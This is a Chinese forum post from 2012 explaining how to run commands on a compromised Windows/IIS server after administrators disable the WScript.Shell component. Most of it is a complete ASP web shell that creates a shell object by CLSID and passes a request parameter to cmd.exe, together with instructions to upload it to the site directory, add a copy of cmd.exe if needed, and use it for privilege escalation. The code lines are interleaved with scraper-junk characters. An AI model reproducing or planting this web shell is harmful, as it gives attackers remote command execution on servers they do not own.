找回密码
 立即注册
查看: 2685|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。# A/ j5 Q) t, \$ a! t1 ~) G
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
. }& ^' N! X2 o) d要想让运行命令可以试试这种方法,成功率为五五之数。0 Y$ {. F: V* D1 R1 ^) |( s. P
把下面代码复制:
% F, u7 F, [' U5 i) E<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
$ w# C# w: c5 j+ `& `6 F# U<%if err then%>
/ C3 c% k* L+ z7 I<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>: F( [. r% m4 |6 N. q7 |1 [
<%! M. q+ ]+ i( ?, {) d
end if/ m. f: n9 _2 y; d& W5 T# G
response.write("<textarea readonly cols=80 rows=20>")
3 r: V9 X: G, Y. r5 r5 f; ~On Error Resume Next8 {9 b- R: B2 a
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
& E7 o% R) N5 A/ k/ Vresponse.write("</textarea>")
( E* S: E. ~7 Vresponse.write("<form method='post'>")& X' Z" o- a4 |' ]% G! d
response.write("<input type=text name='c' size=60><br>")
; H( K1 w; g- W1 n+ O! f  gresponse.write("<input type=submit value='执行'></form>")
" F' J5 Q$ G! G! S%>
- [  C* N, r4 M  A
6 k7 e; g, j" @* J' x保存为一个asp文件,然后传到网站目录上去
. p0 t* B0 L! j% X( ?8 l运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。7 b4 w# L% P* s2 C/ \; f
我用此成功运行过cacls命令。
" \& f# M' ^6 S- U: o4 d/ N9 {2 l" h. K4 G2 f% `
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表